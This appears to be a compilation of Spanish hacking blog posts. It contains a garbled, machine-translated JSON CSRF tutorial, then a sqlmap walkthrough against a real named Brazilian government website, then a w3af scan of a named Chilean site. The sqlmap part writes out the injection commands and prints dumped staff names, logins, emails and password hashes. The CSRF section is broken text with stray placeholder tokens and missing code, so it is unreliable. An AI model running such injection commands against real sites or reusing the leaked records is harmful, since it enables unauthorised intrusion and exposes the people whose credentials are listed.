CSRF

gran avance para las aplicaciones web, y no son los basados en JSON CSRF. A menudo, las aplicaciones web basadas en el JSON tecnología ( un acrónimo de la expresión "JavaScript Object Notation") para enviar y recibir solicitudes desde y hacia el servidor, y esto puede ser las aplicaciones web expuestas a labrecha , como  CSRF . En este caso, la explotación de la brecha se ser más complejo que en uso normal. 

Por ejemplo , supongamos que estamos probando penetrar en un sitio en particular, y descubrimos lapetición siguiente

POSTAL / editar / 1 / nombre de usuario HTTP / 1.1
Anfitrión: example.com
Content-Type: application / json
Content-Length: 19
{ "Nombre de usuario": "test"}

obvio para usted que existe algún tipo de las fichas en la demanda, lo que nos permite llevar a cabo ataques CSRF y cambiar el nombre de usuario a la víctima sin su conocimiento si van a visitar la página bajo nuestro control. El siguiente paso es la preparación de un archivo HTML para llevar a cabo el ataque, pero ¿cómo lo haremos en los casos normales



Se envía a los parámetros y valores en el parámetro de formulario = valor, y contrastarlo con el código HTML es el siguiente:



<Input type = "hidden" name = "nombre de usuario" "value =" prueba "/>

Pero en este caso lo que se envía en forma de { "parámetro": "valor"}, ¿qué podemos hace
podemos tratar de manipular el HTML Bkod para enviar una petición similar para la solicitud anterior, pero con algunas diferencias son las siguientes:
k4n0j2d8Antiguo código se utiliza para formar la labor de la solicitud, y debe tenerse en cuenta que el valor de la enctype de forma en el texto / sin formato, y para evitar que el navegador de una codificación URL operación de entrada antes de la presentación de la solicitud.


En la forma sin entrada no tiene valor, pero el valor de un nombre que es { "nombre de usuario": "test" }, ahora para enviar la aplicación en su navegador y ver qué pasa ( se puede ver la solicitud enviada por eluso de cualquier herramienta de proxy como  eructar suite ):


OSTAL / editar / 1 / nombre de usuario HTTP / 1.1
Anfitrión: example.com
Content-Type: text / plain
Content-Length: 24
= { "Nombre de usuario": "hackeado"}
Lo que ha sido específicamente? Y por qué no es el signo = después de que el emisor de carga útil?
Como hemos identificado en la forma de un código HTML que envíe la solicitud y determinar el tipo de contenido como text / plain, y ya que la carga útil se envía sin el trabajo de codificación URL estado. Pero el envío de el signo =, y fue porque nos hemos identificado el remitente de carga útil como el valor de la denominación en el sector . De entrada, y lo que el navegador hace es que toma el valor de nombre seguido por el signo = y luego ss vale la pena el valor, que está vacío en este caso. 

Ahora, que podemos decir que el ataque había tenido éxito cuando las condiciones siguientes son disponibles:
  • La aplicación web no garantiza que el valor de la cabecera Content-Type es application / json
  • El analizador JSON ignora los valores adicionales en el contenido de la solicitud, tales como la marca de = en este caso
  • Segundo intento
Afortunadamente, hay una solución más práctica que la solución anterior, veamos el siguiente código HTML medida

upotc2ah
Ealor medio del código que ha cambiado el nombre y el valor de una manera que nos permite enviar el valor de sonido JSON, y al mismo tiempo nos permite explotar el sonido hueco y exitosa. El siguiente es el remitente del servidor de aplicación en este caso:
POSTAL / editar / 1 / nombre de usuario HTTP / 1.1
Anfitrión: example.com
Conexión: cerrar
Content-Type: text / plain
Content-Length: 39
{ "Nombre de usuario": "hackeado", "pueden ignorarse": "="}
¿Por qué era en este caso?
Como hemos mencionado anteriormente, el navegador envía el valor del nombre, y luego = entonces el valor del valor, en este caso, todo lo que hemos hecho es que hemos añadido valor adicional puede ignorarse su nombre mediante la adición de un marcador "," en el emisor JSON, y el valor en este caso es =. Este método no funciona en todos los casos, ya que debe ser añadir nuevos parámetros a la petición del servidor remitente permitido por la aplicación web, y que los valores de estos parámetros están ignorando una parte, el código de fondo.
Tal vez ahora pensando en hacer el mismo ataque, pero mediante el uso de XMLHttpRequest, Vamos a hablar de este asunto y ver qué pasa. Vamos a ajustar el código HTML contiene el código siguiente
XSS


  • La creación de un nuevo objeto XMLHttpRequest tipo y el nombre xhr, el objeto de esto es simplemente lo que está enviando la solicitud para el servidor más tarde
  • Xhr ajustarse cambiando el valor del atributo de la verdadera afirma withCredentials, y en este caso será enviado a las cookies específicas del sitio infectadas con el remitente de la demanda
  • Utilice la función de apertura para enviar una solicitud POST a la URL mencionada
  • Además de la cabecera de la petición de solicitud llamado Content-Type y el valor de application / json hasta que la tradición de la aplicación original con exactitud
  • Por último, utilice la función de envío para enviar la solicitud realidad mediante la conversión de la función de la carga útil de JSON objeto a través del uso de JSON.stringify a continuación, pasar la salida de carga útil para enviar una función previamente mencionado


Por último, la solicitud se envía automáticamente al abrir la página en cualquier navegador, ahora vamos a abrir la página y usar la suite eructar o cualquier herramienta de proxy para que podamos ver la demanda del remitente
kchdaio2

XMLHttpRequest, está primero asegúrese de que el valor de la cabecera Content-Type, si es que no eran iguales a text / plain se envía la solicitud OPCIONES antes de la aplicación original, este tipo se conoce de las solicitudes de peticiones previas al vuelo, y son por lo general la etapa de las etapas para hacer sitio merecido seguro (en este contexto llamado origen) envía esta solicitud. 

Si fue contenida responde el servidor a la solicitud de pre-vuelo a la cabecera-Allow-Origen Access-Control y su valor es * (es decir, cualquier origen) o si el valor es el dominio del remitente de la verificación previa-petición (en nuestro caso es nula y por lo que envió que desde su PC a nuestra se es no servidor), se envía a todos solicitud original en este caso. Haciendo caso omiso de la aplicación original que no eran este es el caso. 

Entonces, ¿qué podemos hacer si la respuesta no es necesaria para responder? 

Como lo hicimos en el ejemplo anterior, en este caso debe enviar la aplicación después de cambiar la cabecera Content-Type text / plain luego enviar la solicitud de nuevo, la siguiente imagen es la solicitud después de que cambiamos la cabecera se ha mencionado anteriormen

u2vtkj2h
Como vemos, enviamos una solicitud POST también se quería y sin solicitud previa al vuelo Enviar como en el ejemplo anterior, sabiendo que el éxito del ataque en este caso depende tanto dependen de dos condiciones mencionadas anteriormente en el ejemplo anterior. 
Espero que se han beneficiado de este artículo, por favor no dude en dejar sus preguntas y consultas si había un claro parcia

Inyecciones Sqlmap




vamos hacer una inyeccion SQLMAP desde Windows
lo primero que vamos hacer es descargar las herramientas trabajar en windows


python 
download

 sqlmap 
download

despues que descargamos sqlmap  lo buscamos y lo ponemos en la unidada  C:
despues que esta en la carpeta le cambiamos el nombre para que sea mas facil le ponemos sqlmap
vamos a Inicio  y escribimos CMD

escribimos cd/sqlmap
ahora ponemos  
C:\sqlmap>sqlmap.py -u http://www.camaralages.sc.gov.br/informativos/index/?id=42 --dbs

nos sale este mensaje le damos que no porque el paramento es vulne no queremos que busque mas


[20:47:23] [INFO] target URL appears to have 4 columns in query
[20:47:28] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 46 HTTP(s) requ
ests:

como vemos nos muestra dos base de dato
entonce lo que tenemos que hacer es  seguir la guia poniendo unas de las dos tablas que seria  haci
[*] camaralages
[*] information_schema

sqlmap.py -u http://www.camaralages.sc.gov.br/informativos/index/?id=42 -D camaralages --tables

Database: camaralages
[35 tables]
+--------------------------+
| banner_popup             |
| biblioteca               |
| bibliotecagaleria        |
| bloquei                  |
| camara                   |
| camaragaleria            |
| escolalegislativo        |
| escolalegislativogaleria |
| espaco                   |
| espacogaleria            |
| historico                |
| historico_login          |
| informativo              |
| j_vereador               |
| j_vereador_galeria       |
| jovem_vereador           |
| licitacao                |
| licitacao_documento      |
| memorias                 |
| memoriasgaleria          |
| museu                    |
| museugaleria             |
| noticia                  |
| noticia_comentario       |
| noticiagaleria           |
| radio                    |
| radioprogramacao         |
| radiotexto               |
| tv                       |
| tvprogramacao            |
| tvtexto                  |
| usuario                  |
| vereadores               |
| vereadores_comissao      |
| vereadores_mesa          |
+--------------------------+

[21:19:33] [INFO] fetched data logged to text files under 'C:\Users\tempo\.sqlma
p\output\www.camaralages.sc.gov.br'
C:\sqlmap>     como vemos nos acaba de mostrar todas su tables  buscamos la que nos interesa 
oh si quieren descargarce toda la base de data entonce hacemos haci

sqlmap.py -u http://www.camaralages.sc.gov.br/informativos/index/?id=42 -D camaralages --dump >data.txt   escaneara todo y se guardara en un archivo txt en la unidad C:\sqlmap
oh empecemos desde cero  buscamos en la tables lo que deceamos buscar que es el username y password  que viene siendo 

sqlmap.py -u http://www.camaralages.sc.gov.br/informativos/index/?id=4 -D camaralages -T usuario --dump 


Database: camaralages
Table: usuario
[5 entries]
+------------+----------------+-------+----------------------------------+------
----------------+----------------------------------+----------------------------
------+
| id_usuario | nome           | nivel | senha                            | login
                | email                            | imagem
      |
+------------+----------------+-------+----------------------------------+------
----------------+----------------------------------+----------------------------
------+
| 9          | Flaviano       | 1     | da561088d345f16db12379e329e8924c | flavi
ano@camaralages | flaviano@camaralages.sc.gov.br   | <blank>
      |
| 12         | Everton        | 1     | 711536710706e16920b980bd563c1d61 | evert
on@camaralages  | everton@camaralages.sc.gov.br    | <blank>
      |
| 13         | Maurício Pezzi | 4     | 711536710706e16920b980bd563c1d61 | mauri
cio@camaralages | mauricio@camaralages.sc.gov.br   | /capa/050814140725722614072
57226 |
| 14         | Janelize       | 1     | 856abed2aad7c14e8ab1904c7babee3e | lize
                | lizeborges@camaralages.sc.gov.br | /capa/050814140726421314072
64213 |
| 15         | Flavia Mota    | 1     | 711536710706e16920b980bd563c1d61 | flavi
a               | flavia@camaralages.sc.gov.br     | /capa/050814140726427114072
64271 |
+------------+----------------+-------+----------------------------------+------
----------------+----------------------------------+----------------------------
------+


sqlmap.py -u http://www.camaralages.sc.gov.br/informativos/index/?id=4 -D camaralages -T usuario --columns



W3afw Herramienta de auditoria web




Hoy hablaremos sobre una herramienta que me imagino ya muchos conocen, W3af.
En elementos de auditoria, no es nada menor, rápido y efectivo.

Este programa también me llamo mucho la atención, por su fácil uso y múltiples opciones. Aparte de venir con herramientas pensado en ataque con exploits… (Mucho ojo a eso!)


Bien, para iniciar el programa seguiremos la siguiente ruta: BackTrack/ Vulnerability Assessment/ Web Aplication / Web Vulnerability / w3af gui

El programa está en constante actualización, casi siempre que lo uso me pregunta si quiero actualizar, no me opongo ya que solo tarda unos segundos…

Cuenta con una interfaz muy simple, como se ve en la imagen, tenemos la opción de elegir el tipo de ataque y donde poner el objetivo o target.
 Esta vez será www.carechile.cl 

Bien, el tiempo puede depender de muchas cosas, ya sea si la pagina es muy grande o el tipo de Scan que usaremos, el "fast_sacan" no tarda más allá de unos 10 minutos.
 En las pestañas de la izquierda podemos ir revisando los resultados y los exploit.


El resultado es bastante claro, ya tenemos 12 errores SQL y 5 XSS , situación que no es menor.

Como conclusión W3af, queda entre la lista de los favoritos en relación a la auditoria y seguridad web, como les mencione al principio una herramienta muy rápida, simple y efectiva.